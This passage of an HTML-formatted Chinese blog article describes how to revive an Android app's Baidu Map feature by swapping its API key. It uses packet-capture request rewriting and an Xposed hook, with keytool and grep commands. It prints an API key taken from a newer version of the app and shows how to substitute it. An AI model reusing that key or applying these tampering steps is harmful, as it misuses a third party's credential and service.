116);">2.抓包软件拦截替换</strong>（简单）：</p><ul style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));list-style: none;padding-left: 1.5em;line-height: 1.75;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.5em 8px;"><p>• 步骤：使用抓包工具（如小黄鸟）拦截APP发出的网络请求，将请求中的ak参数（即APIKey）替换为新的APIKey。</p></li><li style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.5em 8px;"><p>• 优点：实现简单，无需修改APP本身。</p></li><li style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.5em 8px;"><p>• 缺点：每次使用APP时都需要开启抓包工具。</p></li></ul><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-size: inherit;color: rgb(0, 152, 116);">3.HOOK技术动态修改</strong>（较复杂，但使用最方便）：</p><ul style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));list-style: none;padding-left: 1.5em;line-height: 1.75;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.5em 8px;"><p>• 步骤：使用HOOK框架（如Xposed）动态修改APP中百度地图APIKey的获取逻辑，使其返回正确的APIKey。</p></li><li style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.5em 8px;"><p>• 优点：一旦实现，后续使用无需额外操作，体验最为流畅。</p></li></ul><h2 style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;">0x02 过程</h2><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">无论是上面的哪种方案，都首需要获取正确的APIKey。APIKey可以自己申请，也可以查看新版本的APP中的APIKey是什么，然后进行替换。</p><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">自己申请的话，需要注册、认证百度地图开放平台 <a href="https://lbsyun.baidu.com/apiconsole/key" target="_blank">https://lbsyun.baidu.com/apiconsole/key</a> ，然后创建一个Android应用。</p><figure style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;line-height: 1.75;color: rgb(63, 63, 63);"><img alt="APIKey申请" class="rich_pages wxw-img" data-imgfileid="100003010" data-ratio="0.525" title="null" data-type="png" data-w="1080" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;line-height: 1.75;margin: 0.1em auto 0.5em;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a9e59fca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MW3dosLBsHHSsJmgsNUb8r8nx6dfoyO6kdibAr3WNtgT0mV0h2Oj94OdniaFEegs43uGfCfcB9Uu9Tg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">选择一些所需的服务，需要有定位和地图SDK。</p><figure style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;line-height: 1.75;color: rgb(63, 63, 63);"><img alt="APIKey申请" class="rich_pages wxw-img" data-imgfileid="100003014" data-ratio="0.7611111111111111" title="null" data-type="png" data-w="1080" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;line-height: 1.75;margin: 0.1em auto 0.5em;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d117aef2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MW3dosLBsHHSsJmgsNUb8r8AQY8610icxXAnLnFPICtf3p1kllOOiafsvicerx0RjOsQB52HIINg0bDg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">填写发布版SHA1和PackageName</p><ul style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));list-style: none;padding-left: 1.5em;line-height: 1.75;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.5em 8px;"><p>• <strong style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));line-height: 1.75;font-size: inherit;color: rgb(0, 152, 116);">发布版SHA1</strong>：0E:A9:54:9F:05:C4:35:4C:52:D2:53:48:9D:8A:21:15:25:CA:4A:13</p></li><li style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.5em 8px;"><p>• <strong style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));line-height: 1.75;font-size: inherit;color: rgb(0, 152, 116);">PackageName</strong>：com.lerist.***tion （该应用的包名）</p></li></ul><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里的SHA1是抓包的时候请求里面的，也可以手动计算。</p><pre style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;"><span hidden="" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding-top: 10px;padding-right: 14px;padding-left: 14px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;">unzip Fxxxx1.3.5BETA_xxx.apk -d FK<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/><span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 166, 87);">cd</span> FK/META-INF<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>keytool -printcert -file FAKELOCA.RSA<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/></code></pre><figure style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;line-height: 1.75;color: rgb(63, 63, 63);"><img alt="计算SHA1" class="rich_pages wxw-img" data-imgfileid="100003011" data-ratio="0.2916666666666667" title="null" data-type="png" data-w="1080" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;line-height: 1.75;margin: 0.1em auto 0.5em;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ec40d23c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MW3dosLBsHHSsJmgsNUb8r8L65q6sJmjicXPzIvTWkRGCAMsaCpFSVJmWtvKnMsKaFLOvsDnCPM29A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">用自己申请的APIKey进行测试。</p><figure style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;line-height: 1.75;color: rgb(63, 63, 63);"><img alt="APIKey申请" class="rich_pages wxw-img" data-imgfileid="100003015" data-ratio="0.5175925925925926" title="null" data-type="png" data-w="1080" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;line-height: 1.75;margin: 0.1em auto 0.5em;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=5f5740de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MW3dosLBsHHSsJmgsNUb8r8yibZWmV3ibnpNf2LZN9Lw9dialRQ13nm4bHzlbJibqc6svRhIpzKokbcXA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">发现是可以正常使用了。</p><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">如果不想自己申请SDK，也可以用新版本中的APIKey进行替换。</p><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">我们下载新版本进行查看</p><img alt="新版本Key" class="rich_pages wxw-img" data-imgfileid="100003012" data-ratio="1.6788793103448276" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;" data-type="png" data-w="928" src="https://wechat2rss.xlab.app/img-proxy/?k=093d26be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MW3dosLBsHHSsJmgsNUb8r8F2xoMTcSL8v8opmCvrQHZKPwOML3z1fybnXBY6epibvHJNLUliafbicnQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">新版本的APIKey是 <code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">kGdfeSE3SeAUkeGtur7g8uIXbCx4alFN</code> 。</p><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">同样测试一下新版本中的APIKey，也是可以正常使用的。</p><figure style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;line-height: 1.75;color: rgb(63, 63, 63);"><img alt="验证新APIKey" class="rich_pages wxw-img" data-imgfileid="100003013" data-ratio="0.4537037037037037" title="null" data-type="png" data-w="1080" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;line-height: 1.75;margin: 0.1em auto 0.5em;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d296a3ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MW3dosLBsHHSsJmgsNUb8r8L1VSv2zMbPhhLwBuBhTzaAaoPPfFyMia0zF2GjmMWh7WsadxwLYtJSg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">接下来用可以使用的APIKey进行替换，这里以新版本中的APIKey为例。</p><h3 style="border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-bottom-color: rgb(0, 152, 116);border-left-color: rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;line-height: 1.2;padding-left: 12px;color: rgb(63, 63, 63);">1.抓包替换</h3><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里采用的抓包工具是小黄鸟（需安装证书，否则无法抓包），打开小黄鸟，开启抓包，运行APP。</p><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">找到请求<code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><a href="https://api.map.baidu.com/sdkcs/verify" target="_blank">https://api.map.baidu.com/sdkcs/verify</a></code> ，长按选择重写功能。</p><img alt="抓包" class="rich_pages wxw-img" data-imgfileid="100003016" data-ratio="1.7727272727272727" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;" data-type="png" data-w="968" src="https://wechat2rss.xlab.app/img-proxy/?k=81f915dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MW3dosLBsHHSsJmgsNUb8r8xu2iaXSMsw2YGyDxFMlujF1l0tSDyyXibiaBGfX55l2mFPy9Ad5EttL7A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">修改请求体，选择在线编辑或规则替换。</p><img alt="请求体" class="rich_pages wxw-img" data-imgfileid="100003020" data-ratio="1.7727272727272727" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;" data-type="png" data-w="968" src="https://wechat2rss.xlab.app/img-proxy/?k=130ae6f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MW3dosLBsHHSsJmgsNUb8r8dwE59xhBk92qTaJ9N8BOqWtTt6fbnSicer3O8nO7IG992f5RJxHLj5A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">替换ak参数（即APIKey），修改为新的APIKey。</p><img alt="替换参数" class="rich_pages wxw-img" data-imgfileid="100003017" data-ratio="1.7727272727272727" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;" data-type="png" data-w="968" src="https://wechat2rss.xlab.app/img-proxy/?k=40a0ab2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MW3dosLBsHHSsJmgsNUb8r8LhcmuQTJ1pjXaqrcOU0BwaSuRFoCpfZD4UOAUEInqeogB9MyNINxaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">保存，可以看到重写器保存并激活成功。</p><img alt="保存重写" class="rich_pages wxw-img" data-imgfileid="100003018" data-ratio="1.7727272727272727" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;" data-type="png" data-w="968" src="https://wechat2rss.xlab.app/img-proxy/?k=63fbe20c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MW3dosLBsHHSsJmgsNUb8r8cyuxFpKaz05JU5T9RNhAFFPiauSCMQvlR2fJ1xt38qtQRLw6B3hyH7w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">重写运行app，发现地图功能已经可以正常使用了。</p><img alt="运行正常" class="rich_pages wxw-img" data-imgfileid="100003019" data-ratio="1.7727272727272727" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: block;vertical-align: middle;" data-type="png" data-w="968" src="https://wechat2rss.xlab.app/img-proxy/?k=4db93759&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MW3dosLBsHHSsJmgsNUb8r8w4gYSZQjua5TBLEZpKdzJZZdWw4VzXKaXNNH0p2rY0UNx3LOPIMpkQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">下次运行app时，打开抓包工具，运行抓包即可（重写器默认已经开启了）。</p><h3 style="border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-bottom-color: rgb(0, 152, 116);border-left-color: rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;line-height: 1.2;padding-left: 12px;color: rgb(63, 63, 63);">2.HOOK方法</h3><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">hook的话也有多种方法，比如可以直接HOOK <code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ApplicationPackageManager</code>的<code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">getApplicationInfo</code>方法来修改。</p><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">主要代码：</p><pre style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;"><span hidden="" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding-top: 10px;padding-right: 14px;padding-left: 14px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;">XposedHelpers.findAndHookMethod(<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>  <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;android.app.ApplicationPackageManager&#34;</span>,<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>  classLoader,<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>  <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;getApplicationInfo&#34;</span>,<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>  String.class,<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>  <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">int</span>.class,<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>  <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">new</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">XC_MethodHook</span>() {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>      <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">@Override</span><br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>      <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">protected</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">void</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);">afterHookedMethod</span><span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));">(MethodHookParam param)</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">throws</span> Throwable {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>          <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">ApplicationInfo</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">appInfo</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">=</span> (ApplicationInfo) param.getResult();<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>          <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">if</span> (appInfo != <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">null</span> &amp;&amp; appInfo.metaData != <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">null</span>) {<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>              <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);">String</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">originalKey</span> <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);">=</span> appInfo.metaData.getString(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;com.baidu.lbsapi.API_KEY&#34;</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>              XposedBridge.log(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;原始百度地图 Key: &#34;</span> + originalKey);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>              <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(139, 148, 158);">// 修改 key</span><br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>              appInfo.metaData.putString(<span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;com.baidu.lbsapi.API_KEY&#34;</span>, <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;kGdfeSE3SeAUkeGtur7g8uIXbCx4alFN&#34;</span>);<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>          }<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>      }<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>  }<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>);</code></pre><p style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;letter-spacing: 0.1em;color: rgb(63, 63, 63);">也可以看一下百度地图SDK哪里使用了<code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">com.baidu.lbsapi.API_KEY</code>，然后进行修改。对APP进行脱壳反编译并修复，打开dex文件。</p><pre style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;"><span hidden="" style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding-top: 10px;padding-right: 14px;padding-left: 14px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;">root:~# grep -rnH --color=auto <span style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);">&#34;com.baidu.lbsapi.API_KEY&#34;</span> *<br style="border-width: 0px;border-style: solid;border-color: hsl(var(--border));"/>Binary file classes.dex matches<br style="border-width: 0px;border-style: solid;border-color: 